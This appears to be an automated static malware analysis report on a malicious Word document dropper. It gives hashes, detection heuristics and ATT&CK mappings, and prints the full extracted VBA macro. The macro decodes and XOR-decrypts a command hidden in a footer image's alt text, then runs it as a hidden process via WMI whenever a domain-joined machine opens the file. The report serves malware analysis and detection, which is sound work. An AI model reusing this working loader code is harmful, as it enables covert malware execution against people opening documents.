Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3dd3853eeb6939c3…

MALICIOUS

Office (OLE)

41.5 KB Created: 2017-12-19 12:58:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: a4f2eecb5b667cfe32635d846b03e48d SHA-1: e7b3fb58b816919c60bc914c1da989e3d4dcbb85 SHA-256: 3dd3853eeb6939c399703386d1edb0bd566a3d7e4e6cc15362f7f0b199f1caf5
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This Office document contains VBA macros, specifically an AutoOpen macro, designed to execute malicious code. The critical heuristic 'OLE_VBA_WMI_PROCESS_CREATE' indicates the macro attempts to launch a process using WMI's Win32_Process.Create method. This suggests the document is a dropper, likely intended to download and execute a second-stage payload. The presence of obfuscated VBA code and the use of WMI for process creation are common tactics for malware execution.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6403433-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6403433-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2548 bytes
SHA-256: 80075ca2090ddbd1221f8163c205583203d63fc1a063cc74ef4693b3f2accad6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MyDocument"

Function clean(s As String)
    s = Replace(s, " ", "")
    s = Replace(s, vbCr, "")
    s = Replace(s, vbLf, "")
    clean = Replace(s, vbCrLf, "")
End Function

Function bb(ByVal b)
  Const bbb = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  dataLength = Len(b)
  If dataLength Mod 4 <> 0 Then
    Exit Function
  End If

  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3
      thisChar = Mid(b, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, bbb, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  bb = sOut
End Function

Function x(ByRef Text As String, ByRef key As String)
    Dim l As Long
    Dim lonLenKey As Long, lonKeyPos As Long
    lonLenKey = Len(key)
    For l = 1 To Len(Text)
        lonKeyPos = lonKeyPos + 1
        If lonKeyPos > lonLenKey Then lonKeyPos = 1
        Mid$(Text, l, 1) = Chr$(Asc(Mid$(Text, l, 1)) Xor Asc(Mid$(key, lonKeyPos, 1)))
    Next l
End Function

Public Function BIkqX() As Variant
    Dim f As String
    f = ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText
    f = bb(clean(f))
    x f, "MlEEpqHRFRKYCThPeoyfPyyYtvdrQHDx"
    f = bb(f)
    Set s = GetObject("winmgmts:\\.\root\cimv2").Get("Win32_ProcessStartup")
    Set c = s.SpawnInstance_
    c.ShowWindow = 0
    Call GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create(f, Null, c, i)
End Function

Sub Auto_Open()
    If Not Environ("USERDNSDOMAIN") = "" Then
        Call BIkqX
    End If
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

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